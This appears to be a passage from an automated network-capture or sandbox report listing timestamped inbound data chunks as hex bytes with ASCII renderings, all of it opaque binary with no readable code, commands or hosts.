2022-02-01 01:06:35 UTC	133	IN	Data Raw: 88 dd bd 5a e5 73 60 f4 32 ca e3 58 8e 73 60 f4 09 b6 4d 99 be 73 60 f4 01 c6 b8 0b e6 11 a0 33 b3 bc e3 9b 09 f2 d4 7d bb 5c 73 60 f4 1b ec 5b 07 85 ba 8e e2 5c 08 73 60 f4 e4 31 73 ac b7 b4 98 ef a1 b6 73 60 f4 f9 df 22 1e fb e7 60 73 60 f4 ca 6c a2 f3 a5 38 e2 e8 6c 25 64 8b 67 c7 1b 0b d1 2e 0d 85 89 2b c9 16 b3 60 0e 86 9d 27 3e aa 69 fe 73 60 f4 b0 11 83 10 79 f0 3f 42 54 68 b6 a2 55 0c e9 5a 78 a7 85 86 20 0b 59 49 59 ed 4e 0d 04 73 60 f4 97 92 77 fa ee 61 44 dd 92 a9 5c a7 86 7e 90 60 d6 61 96 48 12 2f 38 95 b8 bd 89 03 73 60 f5 75 38 a0 a7 41 82 c5 61 7e 4f d3 73 60 f5 7c 2d 90 fc 86 33 9f 47 85 0c f2 ee 6f 31 89 7a 2e ce 2c b5 bb a1 4c e4 60 11 2d 5e e3 e0 73 60 f5 46 d9 29 86 41 73 60 f5 55 95 76 e1 4d f8 6e f1 d2 49 63 64 f9 e2 a9 37 e7 dd 2b Data Ascii: Zs`2Xs`Ms`3}\s`[\s`1ss`"`s`l8l%dg.+`'>is`y?BThUZx YIYNs`waD\~`aH/8s`u8Aa~Os`\|-3Go1z.,L`-^s`F)As`UvMnIcd7+
2022-02-01 01:06:35 UTC	137	IN	Data Raw: 90 4a e5 cb 07 38 1b 4b f2 50 2d 3a 19 66 21 f5 19 ad 54 2c 84 9d f9 2f 8b 74 a1 90 8f 45 ec b8 8e 1e 32 f1 9a 98 9f db c3 e5 5f 7a 1c 3d f4 3a d5 10 60 cb 3c 34 e3 1e 74 db 9f ea 78 c8 ad 1d 4f 0f 83 c8 29 5c 0f 49 c1 ea 71 bb 3f d1 c4 db 7d 65 f4 f7 c1 60 91 dc 3f 66 89 f1 0e 05 a6 d3 67 f5 50 5c ae 2e ff 96 7f 13 e4 90 67 d5 d9 62 7c c1 9b 98 5b 4f 5f b3 72 cf 30 26 c0 19 f9 93 f2 5a ba 71 1f 17 bd 4b 42 df a3 7e 5f 3b fa b0 23 ae 1e 67 15 53 f5 83 25 89 ce 95 c6 28 66 93 10 06 c7 38 10 01 be 12 ab 9a f9 b0 3c 0d b2 5c 6f 77 2d 60 94 95 9a e0 1d 29 34 a4 fa 92 17 88 67 1d 10 f1 40 42 db 24 42 5f c0 a3 9c 35 c9 21 8e de 1e fd a6 b6 b1 a1 98 17 1f bd 90 39 ca 2e cd 24 77 2b d1 e0 c6 ac 6e 63 5d 91 fe 53 79 4b ce 58 c2 ee 28 8c eb c9 11 9b b6 89 48 0f a8 Data Ascii: J8KP-:f!T,/tE2_z=:`<4txO)\Iq?}e`?fgP\.gb\|[O_r0&ZqKB~_;#gS%(f8<\ow-`)4g@B$B_5!9.$w+nc]SyKX(H
2022-02-01 01:06:35 UTC	141	IN	Data Raw: f7 23 a0 cc 89 4c 1a ff 7b ba d6 de 74 78 24 84 a7 02 49 2d 3c bb 73 f0 86 f3 bf 7f b5 fd 42 22 74 f4 79 ae aa ff 71 0e b4 f6 73 04 91 42 fc 82 47 4f f3 d2 0b 77 86 a8 a2 5a 2c 97 f1 1d 11 f1 3b 65 38 59 c7 13 c8 1e 28 91 d5 e8 fb 25 9c 67 98 d2 5c 5b 58 56 fa 38 02 c5 31 69 b1 f4 32 86 90 00 8d 5f 73 18 84 23 b2 00 a9 b8 ce 5c 4d bb 06 22 c6 a3 8b 6e f8 0a 60 d3 25 2d ac b9 3f 67 94 3e ef 41 bd 37 83 9b f5 f6 87 d7 03 44 22 43 ee cc d1 9a cd 8e ea d6 e2 2d 02 e0 6d 01 53 3d c2 7a 48 ca 5b 4c cb 92 7a 25 09 30 1d df 20 e1 4b a9 1e 33 20 84 f5 c9 e8 d8 16 26 1a f7 aa eb 25 6a 77 a5 fe 11 7f 14 e6 78 99 01 36 e5 4b 19 25 1c cf 4e c2 e6 74 ee 40 7d 11 5b 48 32 d4 9e 38 8b 63 36 92 3e ad 65 da a1 cc 06 8c 42 67 5d 2e a1 45 16 bc 15 bf 69 2d d6 9e fd f0 bb 16 Data Ascii: #L{tx$I-<sB"tyqsBGOwZ,;e8Y(%g\[XV81i2_s#\M"n`%-?g>A7D"C-mS=zH[Lz%0 K3 &%jwx6K%Nt@}[H28c6>eBg].Ei-
2022-02-01 01:06:35 UTC	146	IN	Data Raw: 69 8f 9f 44 bf f0 1d 3f 18 8c f3 bc f5 8a 98 80 83 b5 7d 5e 2c 16 6d 2f d0 0d f7 8a 2a ca f7 c3 f9 d8 69 08 2e 67 98 48 3a 9a 38 ad 23 e0 61 25 9f 08 4f 99 02 b6 fa dc d4 22 69 e1 47 6c a7 c7 b2 db c6 f3 42 b1 9d 02 5c c8 2d d2 28 45 3e d0 1e 75 7e 2b 11 bb 41 bf 3c a9 e4 f7 97 7f ca 55 5d af 1e b4 01 8e 3a 94 15 6d 68 de 54 05 e2 f4 30 7f 0c e2 41 ea 30 b1 d7 c7 cf 63 b8 8d c5 d0 2a 74 a4 a7 ad 78 1d 75 40 b5 19 f7 36 26 c2 81 a5 6c dc 64 bf 57 15 bb df ad 27 b0 0c 08 94 be ae 76 38 12 2b e4 d7 5b 05 1f 74 c9 0d 78 26 1f 5f ff e9 23 95 06 df 94 b9 65 8c 97 5e 68 da 19 f3 24 b9 06 0d a4 39 f6 6c 56 99 f4 35 f2 28 3e 0d c1 ea fe 73 44 e9 a2 1e 99 7a 4c cb f0 97 5f 8e fd 24 7a e4 2d 4c e9 42 de d7 da 6e 74 08 9c 82 e5 9d a7 60 fc 53 00 4e 4b 90 12 75 db 41 Data Ascii: iD?}^,m/i.gH:8#a%O"iGlB\-(E>u~+A<U]:mhT0A0ctxu@6&ldW'v8+[tx&_#e^h$9lV5(>sDzL_$z-LBnt`SNKuA
2022-02-01 01:06:35 UTC	150	IN	Data Raw: ba f2 7b e7 cb 26 cb 37 25 7e d1 52 c0 6f c1 45 94 15 d2 9e 41 7a 30 de 57 10 ad 9b 7e bc cc 62 8a 77 bd 08 49 47 6c 62 3f 66 bd 02 11 bc 3f 49 22 8b f6 b5 67 59 53 52 d3 6d ef 4b 30 84 9c 7f 4f e7 63 ef 63 71 e9 f6 e9 db af 28 fb c7 1d e8 c8 a7 ad 3b bb 46 c6 39 5b c5 1a bd c0 ea f4 0a 35 bc 1e 76 26 15 3d 2b fb a3 5f b0 44 57 9e 81 31 3a 4c cf de 1e 12 85 2e 6a 57 eb e5 16 44 81 cc 42 40 6a b4 42 cf 25 03 df 80 10 59 d2 29 2f a6 79 c5 f1 d0 22 33 59 60 15 80 c5 c7 e7 bd 6e d9 ed 1a e5 04 23 47 a0 80 c0 52 8e 76 59 6d ec 67 b5 07 62 74 cd b2 18 af c4 05 34 3b 18 d3 48 bb c6 d3 78 16 ce 88 11 25 3f 78 45 b6 b8 46 ee 66 02 2d 02 c8 18 0b 52 9f 80 a4 64 52 26 35 4b 82 34 36 86 84 b0 6b 04 6c cd 32 4e f9 f0 5f ab cd 90 cd 39 6d c0 21 3b 61 1a 9d 12 d4 7f 67 Data Ascii: {&7%~RoEAz0W~bwIGlb?f?I"gYSRmK0Occq(;F9[5v&=+_DW1:L.jWDB@jB%Y)/y"3Y`n#GRvYmgbt4;Hx%?xEFf-RdR&5K46kl2N_9m!;ag
2022-02-01 01:06:35 UTC	154	IN	Data Raw: 60 33 23 b3 46 5e 25 e1 ff cf 3b 8a de 4a cb f5 01 1b 3b 10 0f 2a 94 1c 39 7b 0f 56 e6 00 ec aa 35 fa 76 00 d4 60 d9 34 8f 22 2c 03 03 a0 d5 d7 c0 59 c9 1b 6b f7 10 00 30 ea ac 62 59 dd f9 36 98 49 98 7a e5 03 8e e5 5e 53 fd ab 3f f7 4b 2c 84 b4 0f 2f 2e 47 3d fd 2a ef 51 8f d3 38 a6 89 01 99 c3 65 90 6e 53 25 f6 ac 49 91 57 c8 91 a5 ec 40 15 b3 7b a1 67 85 3e 36 4d dc 9e f1 16 65 d0 0f cf 0c f3 8e 86 97 f8 2c be 76 96 7a 16 50 1a 5e bb 75 62 b5 2e ea 2e 48 87 94 9f ab 11 db ef f5 22 86 2b c4 8d 7e c5 c6 e7 df f4 3a 0b ba aa 67 a6 2c c0 96 11 fc 7f be 40 f3 c2 37 88 a8 1b e5 b1 23 dd f9 eb ea 28 0f 2b f4 3e 79 c4 80 b6 76 0d ed a0 db 42 3d 58 7d d2 15 d7 82 2b 47 0b 12 15 8c 7a 8e 2b 37 eb 90 6b 53 27 db c2 85 4b c0 c3 da 75 ae 92 f8 f7 fe 46 27 a8 d1 42 Data Ascii: `3#F^%;J;9{V5v`4",Yk0bY6Iz^S?K,/.G=Q8enS%IW@{g>6Me,vzP^ub..H"+~:g,@7#(+>yvB=X}+Gz+7kS'KuF'B
2022-02-01 01:06:35 UTC	158	IN	Data Raw: 95 cf 47 de fd e1 bb af af 36 81 c7 b5 d7 7c 03 91 07 65 c0 e0 8b 20 2a 8b 66 e5 66 89 40 0d b6 82 2f a8 6c ff f6 31 e2 90 69 1d 21 d2 d1 38 3e f1 4a d2 75 30 d2 eb 7f ba 37 38 a1 64 b8 74 06 91 b4 ac a2 8d c6 8d 74 c6 b6 04 c9 54 4a 44 c1 a1 d1 f4 54 80 31 e7 67 34 14 ed 94 16 0a aa f8 e0 89 9d 34 7a 02 44 c3 9e 99 0e 0e f8 c7 5c cb 9b f0 2a 46 71 27 8e f3 9e c6 cc f8 b2 ef 9d 50 d0 3f 18 35 f0 5c d0 ac 31 3b 00 11 f0 c8 9c 62 15 20 03 f3 61 a4 da c8 83 dc 5c 72 bd a2 12 da c1 00 ae 80 15 e5 f0 4f ce a4 6f bd d3 3f 24 85 02 7b 15 49 73 52 50 ff a3 88 50 a0 51 bb 68 48 35 6d 1a 82 7b 1e 80 c6 4b f8 32 c1 5b 0e 64 32 ea 10 84 f2 a6 6e 2e 28 ad 26 cf 86 3a 0f 33 6f de 2e 54 08 27 1d e4 a5 1b a5 ab d9 bf e8 a6 8f 3e be 91 e7 fe 8d f5 ba fa 01 6f 3e 27 da 1a Data Ascii: G6\|e ff@/l1i!8>Ju078dttTJDT1g44zD\Fq'P?5\1;b a\rOo?${IsRPPQhH5m{K2[d2n.(&:3o.T'>o>'
2022-02-01 01:06:35 UTC	161	IN	Data Raw: 08 4f 6f 0a 62 89 80 34 65 e3 b8 4b aa c3 c7 d7 b8 c2 81 ed c5 61 7e 44 a6 5f 49 f5 aa 72 87 57 5f 31 2b 78 f3 95 82 c7 f2 c0 5d d2 0b 5b 45 c4 2c 77 00 71 e8 85 7d a9 78 6e 46 da 56 6c 94 d4 e2 df ad f1 0f 98 6c 28 76 df 55 63 d1 c3 14 a3 b3 6f 3a 95 bb 84 42 13 bd ee 16 ee f7 92 77 c8 6c 82 14 25 96 4f a7 c6 87 3c ed f7 5a 99 22 d7 65 db d4 fb 47 9a 46 23 f6 1e 7a 30 50 20 65 77 09 5a 39 47 a7 4e d1 ce 41 c0 c7 db 49 17 6d 57 dc 51 5f 44 c9 ab 94 fb a9 14 a9 e7 74 57 50 79 11 65 70 f9 bb 4f 15 fd 8b 3f fc b3 9b b3 05 c0 8b fc ec 96 41 04 0a b9 a2 bf eb 2b 67 6e 86 7b de 7d c5 9a bb 87 5b f2 13 7a 25 22 91 a8 d1 c0 92 80 e8 25 1f 6e b8 73 c9 a6 9f 97 d1 b8 09 78 7c 26 e3 13 33 40 41 71 13 23 ae 28 ec dc a7 75 e5 34 a9 f1 16 83 8f 18 dd 77 5d fa 78 7f 5e Data Ascii: Oob4eKa~D_IrW_1+x][E,wq}xnFVll(vUco:Bwl%O<Z"eGF#z0P ewZ9GNAImWQ_DtWPyepO?A+gn{}[z%"%nsx\|&3@Aq#(u4w]x^
2022-02-01 01:06:35 UTC	165	IN	Data Raw: c4 8a 17 e1 4f ea 4c e5 16 c6 56 99 ec 52 f4 30 32 23 9f 3c 45 04 83 34 09 84 e0 9b 48 3e 62 0b 5a 11 bd 2f a7 ca 5d dc 8a 1c 03 fa 17 57 d0 ed ad dd be b4 2d f5 3f b5 ef b6 7c a2 dd f6 7a 18 e6 a1 63 92 d1 87 d8 34 aa 68 e4 34 b3 c6 1f 15 69 b0 9c e3 f7 e9 32 9a 8d 79 92 5e 47 63 a1 c5 46 1d 56 a1 62 3a 97 e1 fd 24 9a af 86 60 c7 e0 4d 65 4e 32 f8 b9 f1 93 5b ed 45 9f 57 0f 4f b6 dc 10 c2 3f 0d a6 47 ca 24 0b 4b 80 d8 8a 43 d6 e9 b1 11 26 42 96 4c 63 fd be 69 55 14 74 74 09 4c 39 e9 28 66 f3 25 5f a2 24 99 73 91 c2 bf fd 3a e3 b8 5d b4 ed 37 5b 5d b6 11 14 66 48 5a e6 28 16 34 51 f0 0f 5d 62 2f 15 39 cc c1 45 90 7b f6 bc cf a7 65 c0 c0 ac db 11 f6 6f 12 06 37 1f 91 24 fe 44 59 1f 9c f1 07 20 b0 b4 19 e5 c8 a3 1c 69 e3 6d fe 41 3c df 8a a0 e8 01 15 d8 31 Data Ascii: OLVR02#<E4H>bZ/]W-?\|zc4h4i2y^GcFVb:$`MeN2[EWO?G$KC&BLciUttL9(f%_$s:]7[]fHZ(4Q]b/9E{eo7$DY imA<1
2022-02-01 01:06:35 UTC	169	IN	Data Raw: 36 3b 48 3f 45 00 26 7e 6d 63 3e 97 2b 16 1b 4e 67 b7 d2 f9 6b e8 4c 54 cd fc b2 3f c4 54 3b dd b0 84 5f 2c 5b b4 33 88 ff f5 2c 76 df 7a 73 69 df 19 2b 3f 3f 75 dd 0e b8 80 1b cc 41 e7 3a 76 8e 0a c6 29 7e ad 37 60 f4 53 27 c7 4e bd 72 5c 75 af 83 dc 8f ef 39 ac cd 01 62 96 4c 4b d7 71 80 73 e9 de 79 28 02 05 6b c4 e5 c3 a8 6a 8e ec 5b b7 e4 a6 77 fa b0 30 7c 91 9a 5e 01 a0 27 65 37 9f b5 c5 0a 91 97 47 19 56 b7 64 71 46 5f 51 8f 7c 66 47 09 52 c8 90 47 62 32 ec bf 56 95 4f ba 26 f6 be 15 73 8e ae 1a f9 e1 11 8f 99 11 84 fa 4b cf fa 56 c2 f6 56 32 b9 66 46 42 56 34 cd 2e 4c 77 7f 0a c7 b6 88 80 15 10 f9 b9 97 c3 3b dd 7d f9 70 8e 48 13 b9 71 cd d0 79 ae 6a 79 d0 7e a9 da 32 8f a9 3c 7f d9 f7 3d e5 f4 3a 49 6e 2b da a4 f2 7e 74 41 55 4f 3a c7 c0 da 15 f1 Data Ascii: 6;H?E&~mc>+NgkLT?T;_,[3,vzsi+??uA:v)~7`S'Nr\u9bLKqsy(kj[w0\|^'e7GVdqF_Q\|fGRGb2VO&sKVV2fFBV4.Lw;}pHqyjy~2<=:In+~tAUO:
2022-02-01 01:06:35 UTC	173	IN	Data Raw: 49 82 04 c3 de d8 dc 75 b6 ec 1b 5b 20 1d c6 cc 2b a8 94 a8 e1 3a e7 21 17 68 4c 72 d6 b8 35 cb 11 0b 0b ad ef 79 c3 2b fc 2e 17 ac 6f 76 ca 2d 7b 2d c2 af be 7d 84 5b 6c 73 1d cf 94 14 29 36 eb f6 3a 17 38 e7 a4 0e 05 cb f3 72 b1 1e ab a1 9a 79 a8 5e 43 d3 43 c6 cf d3 24 9f 56 9e e7 c3 6b 56 00 7a e2 08 3a c0 52 71 56 cb 2d b8 c7 5c 79 d2 65 c1 96 43 29 f4 e4 88 3e 98 2d 1d fd d1 f3 1b c3 bf ad 8f 8e 17 78 96 af 80 51 89 52 5b eb 65 24 ef 97 f0 51 00 50 42 25 a1 68 64 c3 8b 43 1f 6f 5a cd 1b 2c 2d 33 b1 7e e4 b2 a3 f8 a0 1a 25 75 1b a3 a0 e2 04 b7 d0 a8 f4 98 4b 5a 24 92 50 99 19 e0 a7 e9 ea a4 93 2f 27 d3 e5 fd 98 e8 1b c4 fb 9d 05 88 01 40 0d 99 9b 13 96 81 bd c8 8d e1 ad f7 27 78 99 31 43 ec 29 47 fb 57 1a 77 9b 85 bb 00 75 30 44 97 50 fb be 8b e6 ea Data Ascii: Iu[ +:!hLr5y+.ov-{-}[ls)6:8ry^CC$VkVz:RqV-\yeC)>-xQR[e$QPB%hdCoZ,-3~%uKZ$P/'@'x1C)GWwu0DP
2022-02-01 01:06:35 UTC	178	IN	Data Raw: 8b a6 08 8c f8 e2 31 2b 66 3f e8 50 38 06 15 04 ef ec 4d ce 4b 58 c1 fc 37 0a 9c af bb 2f 26 be 3c f2 4d 44 b6 8c 9e f2 46 fc 03 99 09 bc 59 09 51 49 c2 3f b3 8c 39 6f f8 34 ab 46 d8 41 4a 07 d4 46 79 85 81 60 d4 b2 db 29 07 20 c4 d4 46 94 94 72 19 3d a7 8f 94 8b 12 d9 2e 41 c1 a7 7e 2e ad 02 81 b7 66 f2 97 fa c2 ab 00 94 66 29 fd 8c 0f df 13 47 4d 44 d8 ed a4 27 43 b1 92 15 6f 2b 4b b8 c7 ff 0f 29 4b 94 cb 28 88 28 7c 60 a1 2c a5 27 50 71 42 c8 bb 17 44 1a 6c 41 a6 04 1b 01 7f 6a f1 4a 34 3d 6b 20 59 76 bc fb 1c 6e 79 d4 7d c6 c5 19 3d 3c 8d 6c a1 89 41 b1 96 d2 65 24 54 4a 12 8d 90 fb 7a fb ea 1c 6f fe 15 bf d8 ec 46 ab fa 62 d0 f1 b4 aa e6 d8 de 9f da 43 8e 3e 8a 4e 19 08 59 e5 3f de 0c bd d0 bb 6c dd 82 0b ec a2 ae 06 c1 05 2d 5d a0 4d a9 76 ac dc 37 Data Ascii: 1+f?P8MKX7/&<MDFYQI?9o4FAJFy`) Fr=.A~.ff)GMD'Co+K)K((\|`,'PqBDlAjJ4=k Yvny}=<lAe$TJzoFbC>NY?l-]Mv7
2022-02-01 01:06:35 UTC	182	IN	Data Raw: 06 60 dd 43 fc f7 9e 5e 5d 21 f2 d6 7b fb 1c a0 79 a0 75 a4 50 92 18 89 34 d6 da b5 7b 7c 45 75 e8 cd f0 a0 00 3e 97 dc 44 3d 2e c6 52 db 10 53 63 64 ca 27 98 0f 18 ab 05 a4 a1 f8 20 f9 47 96 26 64 79 a4 a8 bd f0 cc 60 a7 9d 0f 7f cf 74 4d 32 15 2d eb 68 30 72 11 87 e5 f0 bb ce 9c a4 13 77 f3 44 8d dd 7a e2 7c 6f 73 61 5c 1e b3 6d 67 5c 8e d1 1d 5a 86 71 0a f1 6a 1e b7 8d cd 8a 1d f5 75 87 54 9b 76 12 8d de d0 8f 97 18 9a a3 69 90 dd e4 d6 c7 3d e1 09 11 d9 a0 24 db 6b 46 45 0d be 09 f6 6a b0 4f da 8e 7a b2 85 72 20 a5 7a 42 ea e9 7e d1 76 17 38 86 a4 93 61 ec 64 23 b3 65 b8 18 b1 a8 4c ff aa 5e db 0a 9d dc 23 b5 52 80 20 3d 5b 7f f0 d1 ec 33 e4 96 d2 ee ca 2c 6e c3 a4 27 e0 ca 28 da 5b 30 ba 6d a1 06 c3 46 6f c4 a6 f4 e9 62 b4 80 73 a6 d5 57 08 0d 47 d4 Data Ascii: `C^]!{yuP4{\|Eu>D=.RScd' G&dy`tM2-h0rwDz\|osa\mg\ZqjuTvi=$kFEjOzr zB~v8ad#eL^#R =[3,n'([0mFobsWG
2022-02-01 01:06:35 UTC	186	IN	Data Raw: 8c cb 6f a1 17 2c a8 9a 53 0e 39 de b0 f7 b6 15 a9 8f 65 71 06 3e fd fe 39 8e e6 88 4f 54 ee f3 f1 23 cc 41 81 db df ce de 0c a2 ad 84 24 dd 8e 99 d4 d6 5c dc d6 16 85 a7 d0 6b c1 4f f7 e3 43 a7 ea 34 f3 60 94 1a b8 be 27 33 91 93 f8 ce 53 a1 4b 18 a9 f4 80 49 b7 f3 2f 55 04 d7 5f 51 91 33 bf 28 54 05 8d c6 c3 1e ae 8b fc f4 54 3f e6 48 2e 4d 33 bd 78 80 2b a6 eb 86 78 03 cf 07 fb 76 25 a1 5b f4 61 42 58 6a 10 8b 26 75 ae 91 be d7 ce a4 99 0e 14 a2 de cb 91 48 72 42 71 9a 39 89 8a 83 ef 5a 3c e0 fe 9e 49 9e 5f e1 e0 cb 90 66 85 cb ea ce 22 c2 ba 33 34 91 b3 8f 3a 3e 0f c3 0d 6f a4 e8 56 3c ba a0 ca 37 cb 85 94 58 e2 db 0c 98 90 b0 80 11 16 ac 8f e7 1e db 0b e7 24 f2 1d 54 b1 77 37 5c a0 0d cc d8 cb c8 96 89 16 00 d4 a3 ce e4 5e 88 3a 66 cb e7 26 69 e4 41 Data Ascii: o,S9eq>9OT#A$\kOC4`'3SKI/U_Q3(TT?H.M3x+xv%[aBXj&uHrBq9Z<I_f"34:>oV<7X$Tw7\^:f&iA
2022-02-01 01:06:35 UTC	190	IN	Data Raw: f4 e2 f7 38 1b 24 16 b8 75 e8 55 6e 63 5e d2 42 d3 79 e5 76 48 45 b3 b6 2d 10 e0 0f 81 fe 2c 1b b9 5f 06 54 c9 d2 7f 0e 51 df f8 88 11 fb ae ab bb c9 b4 b3 20 6d 47 b9 a5 10 97 66 a0 04 47 3f e3 45 38 b3 02 fa 0b e0 59 50 59 33 bb d5 bc 94 5d eb 09 f3 96 7f 3a 68 ee aa 91 bc ef 72 b2 64 e0 82 b3 56 79 c7 47 c6 a3 7e 1e a1 06 eb 15 3e 73 5f 00 5e ee ca c4 a9 10 2f 10 85 07 16 c4 5f 5b ba f8 de 49 59 59 7f 7a 7a f3 f7 0a 45 f5 61 c1 78 bc 9b 58 eb 53 b9 16 42 73 87 94 13 c0 25 52 56 b0 15 f6 6e 24 a8 e1 b5 cd cb 34 f4 cc 64 08 4c f9 1d b9 89 d4 b5 e6 f5 47 b1 fe 3a c6 7d 81 61 9d 88 d5 8e df a8 05 2e 06 b0 ac 6f 60 e2 14 8c fc 98 60 bf ed 20 90 14 fe 7d 80 fe d0 96 1c fa e6 40 99 40 72 48 04 dd 14 58 e4 47 df 49 d0 75 ba cd 91 5c 91 20 f2 db 14 18 94 db 6f Data Ascii: 8$uUnc^ByvHE-,_TQ mGfG?E8YPY3]:hrdVyG~>s_^/_[IYYzzEaxXSBs%RVn$4dLG:}a.o`` }@@rHXGIu\ o
2022-02-01 01:06:35 UTC	193	IN	Data Raw: fa 96 fe e0 7b 4d 09 6e 0f 2c 5f 22 7c e4 d0 4f 4d d2 c4 c0 89 ae a6 ef 49 79 69 d3 54 b3 af 81 c4 4d 44 ab 4e 16 a0 bf cc 05 bc 04 44 fd 4a 4d c0 2f 27 69 a8 82 6e 45 11 92 1a ac 18 02 b9 e1 65 cd 04 1b c3 ca ae 0c 03 99 35 f8 72 ed 97 66 8e 1a 40 ac 87 fb 66 96 e1 ee 64 17 03 e5 95 64 39 74 f2 1b 59 85 ad ea e3 91 83 5f c3 36 cb 02 98 b7 fc 66 95 db 61 b9 b4 56 bd 98 d5 d1 5d 64 43 50 91 2e a6 41 6e 72 cf 89 d4 5b 84 02 a9 67 8a 06 9f 3b 87 00 97 a3 5f 37 d4 c9 9b 0d 7f 5d 50 7b 55 73 10 2b 39 67 e7 2a 21 58 df aa ed 7f b1 70 6d 23 20 9d 9d 24 04 50 e0 ea 56 a5 1b e0 8e 94 ae 50 07 61 b6 af 21 ad 59 17 60 94 ee 37 80 14 2a 11 f0 af 6e 2d e1 d7 8d bb 45 e7 20 f9 dc 24 db 17 6e 1e 66 d4 f9 95 24 d8 13 34 5f f1 f3 85 fa a6 8e fe 4e 5e eb b0 66 f8 e0 f4 25 Data Ascii: {Mn,_"\|OMIyiTMDNDJM/'inEe5rf@fdd9tY_6faV]dCP.Anr[g;_7]P{Us+9g!Xpm# $PVPa!Y`7n-E $nf$4_N^f%
2022-02-01 01:06:35 UTC	197	IN	Data Raw: 03 55 27 64 72 56 1f 6d c5 c2 b0 4e 19 eb 8b 69 1a fa 0d 5d c3 40 b3 80 bb 36 da f2 b2 4f 59 34 3e 2f 4e 7f 58 b1 bc 9c 25 8d 71 a9 a3 c8 bf 37 09 af 79 03 23 47 a0 c3 45 1d 8d 6c 08 f7 39 ba 41 44 67 2c de 22 56 bd 3a 9e 94 4e c0 8b 11 a4 d3 83 66 b6 36 f3 0f ef ad d2 8c 8f a9 d6 87 50 2a e0 18 00 40 2e f7 e3 24 ef fb 4f 7a 20 d8 15 96 1b 7d 03 7b 0e ca 4b 63 ae 52 7d 6d 68 a3 00 d2 d4 ee ee cb aa 96 fb 55 f3 1e 9f ff 15 a0 4e e1 a0 5b 67 07 23 ad 35 f2 22 28 c9 53 bf 23 60 1f 5b ca 0b 8e 5f 95 4f 17 25 ff cc 37 6f 2d 19 5a 89 c7 11 b5 3e ac 54 f4 88 19 df c1 99 73 0a fa e6 a8 db 14 20 92 e4 7d d3 aa cc ed 71 32 51 90 de 4f 76 bf 28 05 7a e9 d5 4c ee 74 9c 46 e5 98 b0 3e 48 ea 61 63 ac b6 ca e1 00 7c 73 ef d2 03 d3 a1 de 78 c6 67 f7 e2 62 5f 5a d4 62 92 Data Ascii: U'drVmNi]@6OY4>/NX%q7y#GEl9ADg,"V:Nf6P*@.$Oz }{KcR}mhUN[g#5"(S#`[_O%7o-Z>Ts }q2QOv(zLtF>Hac\|sxgb_Zb
2022-02-01 01:06:35 UTC	201	IN	Data Raw: 44 8e e1 d4 34 65 c8 d1 9b 12 65 95 4c 68 a2 90 45 46 33 9c f5 51 63 35 0d 0c a4 c7 5f 0a af 18 e7 a3 9e 32 7b b4 e7 5c bf 5a a8 b1 12 ee 67 94 97 a5 54 49 87 9b b0 0e f8 30 1f 44 e2 ed 76 d7 c1 35 68 b4 59 7e 6a 35 b5 d5 ca b4 b6 3d 9c e2 04 70 66 24 92 f0 3c 88 2e b6 10 b2 15 1b 40 f6 2b 35 be b4 4f 40 91 b3 c5 83 5a 69 41 0d fe 11 b1 aa 8b db 44 2c 07 44 47 b9 8a e9 25 eb a5 9c 1f 37 f8 07 88 88 d7 4e a1 c4 0b ee 81 1c 88 93 73 79 c6 af 65 99 d5 b1 6d 00 b9 e0 ca 6d f9 7e a1 5c 0a c5 47 de db 08 ae 08 3f 0a 72 43 73 9b fb 3c 0e 57 90 79 45 d1 c0 d2 3b 39 43 a1 98 31 76 f2 85 96 66 ba 96 a5 3e f2 e9 45 3e d5 9b bf 8c c3 4d 2e d5 b5 0a c6 28 de 78 9f ec 4e ce 27 e6 59 29 9f b2 a1 99 b7 b0 ef f7 52 25 e3 31 fa b8 11 16 3a 59 d2 02 2e 4c 46 79 b4 1d 70 46 Data Ascii: D4eeLhEF3Qc5_2{\ZgTI0Dv5hY~j5=pf$<.@+5O@ZiAD,DG%7Nsyemm~\G?rCs<WyE;9C1vf>E>M.(xN'Y)R%1:Y.LFypF
2022-02-01 01:06:35 UTC	205	IN	Data Raw: 9e e5 e5 dc 05 6b 26 8f 64 15 97 26 07 f1 34 89 9a b8 54 5d cc 60 3f 7e 34 4e 22 b1 fb 72 0d 8e 5f 7c 80 2d b4 52 02 75 2d ad 2c 56 f4 3d 74 bf 66 8e 6d 5d 4c b4 ce 8a d3 9c 46 dd 90 55 24 8a 6f 10 6e 03 dd ed cb 1a ab a3 a5 2c 31 60 1a d7 b8 86 c2 03 5d 0f 6a c3 b2 93 2d f3 0c 74 f5 0e 2e e8 71 ff b1 3e e8 4e 38 4b 06 62 d3 2b 5c 3d 94 8e fd 2e fc 42 0c a5 30 ea d2 7d 3c e7 5d 82 82 9f 76 04 5a 6d 81 6e df 69 a7 90 5a 9b 12 e5 99 7e df ac cf 65 ff 59 a6 34 f1 58 df 87 94 21 ba f3 d6 71 f0 60 83 ff 2d c9 d0 8c a8 fe 3c 72 8b bf 4c 1d 82 4d b7 a4 29 46 c8 3e c8 f5 3d 71 67 77 58 7f 67 b1 9d 85 58 00 ab 2d 22 92 76 08 d3 ee 41 d8 36 30 c4 2e be d3 fd 00 d2 10 da 48 51 e4 02 56 44 b3 bb 11 af 71 68 ea 47 94 f5 4f 70 36 84 4f 2b cc 1d 1a 87 74 06 84 65 2c 44 Data Ascii: k&d&4T]`?~4N"r_\|-Ru-,V=tfm]LFU$on,1`]j-t.q>N8Kb+\=.B0}<]vZmniZ~eY4X!q`-<rLM)F>=qgwXgX-"vA60.HQVDqhGOp6O+te,D
2022-02-01 01:06:35 UTC	210	IN	Data Raw: 9e 58 d8 37 e7 19 d8 8a 90 d1 6c e0 7c da 0f 12 a7 e5 9e 6f ef 79 7d a1 9e 77 b0 73 7c cb 4e e5 e7 bf f4 34 00 1a 58 92 aa e8 34 e8 6b d1 29 f7 b4 7e f5 79 f5 95 ea f6 c1 9a 8f 7e 67 b3 38 54 0e f7 9c 9d ea 34 7d b3 bd 72 fb 82 8f 5e c9 b1 61 4b e7 55 fa 45 74 67 36 1a a0 36 6f 63 3d 91 4b 77 02 4f d7 0e 92 7d cb 0a bd de f4 96 df 8d 94 97 69 1d 75 27 ae 3b d0 ab 78 dd 32 28 20 0e d7 18 78 21 67 0e 4c 26 21 1d 09 b0 8e ea ab 39 1b c1 b2 83 8e 6c 44 8c a6 15 e9 a8 62 7a 85 b8 6f 0d 2b fa a7 03 1e c8 23 a5 18 4f 59 dd 7f df 53 e0 e5 23 cf 5c f6 49 34 82 09 db 99 17 7e b8 e8 a1 91 6d 64 d9 e0 31 b5 43 39 bd 42 4d 9c 61 b0 a8 9b b5 55 e8 23 df 1a 7a 1b d3 84 b8 d8 43 c4 6c 43 ba a9 51 1d 5a 19 d1 fe 07 67 db f1 35 9a 96 bb 1d 06 f0 e4 ef 08 